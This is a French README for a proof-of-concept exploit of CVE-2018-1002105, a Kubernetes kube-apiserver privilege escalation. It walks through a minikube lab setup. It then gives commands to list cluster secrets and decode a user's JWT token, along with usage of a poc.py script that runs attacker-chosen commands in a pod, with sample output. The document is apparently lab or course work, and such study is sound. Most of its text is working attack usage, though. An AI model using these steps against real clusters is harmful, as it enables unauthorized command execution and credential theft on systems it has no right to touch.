
Exploit de preuve de concept pour CVE-2018-1002105, une vulnérabilité d'escalade de privilèges dans Kubernetes permettant l'exécution non autorisée de commandes dans les pods via le kube-apiserver.
Membres: Abhishek Rungta, Shubham Saini, Siddhant Sood
Nous avons fourni une image VirtualBox (fichier .ova). Téléchargez-la et créez une VM à partir de celle-ci. L'ova fournie est préconfigurée avec Docker v18.09 et Minikube v1.9.0.
Comme notre image virtuelle a déjà minikube et les versions Kubernetes requises, exécutez simplement la commande suivante pour démarrer minikube
minikube start --kubernetes-version=v1.12.2
Créez un nouvel utilisateur et un namespace et attribuez le rôle RBAC à l'utilisateur créé en utilisant la commande suivante.
kubectl apply -f fixing_policy.yml
kubectl edit configmaps kube-proxy --namespace=kube-system
Changez le paramètre maxPerCore à 0
Exécutez d'abord la commande suivante pour obtenir tous les tokens JWT stockés dans le système
kubectl get secrets -A
Pour obtenir le secret de l'utilisateur créé, exécutez la commande suivante :
kubectl -n [namespace] get secrets [user-token] -o json
Ensuite, décodez-le en base64.
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN
kubectl cluster-info
kubectl run --image=nginx:alpine securenginx -n poc
Spécifiez tous les arguments requis :
-t pour la cible > ip:port (obligatoire)
-j pour le token JWT de l'utilisateur (obligatoire)
-p pour le pod (obligatoire)
-n pour le namespace
-m pour la méthode (obligatoire)
-c pour le conteneur
-x pour la commande de l'attaquant
Entrée
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0"
Sortie
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:217603 (212.5 KiB) TX bytes:428778 (418.7 KiB)
{"metadata":{},"status":"Success"}
Vidéo de démonstration lien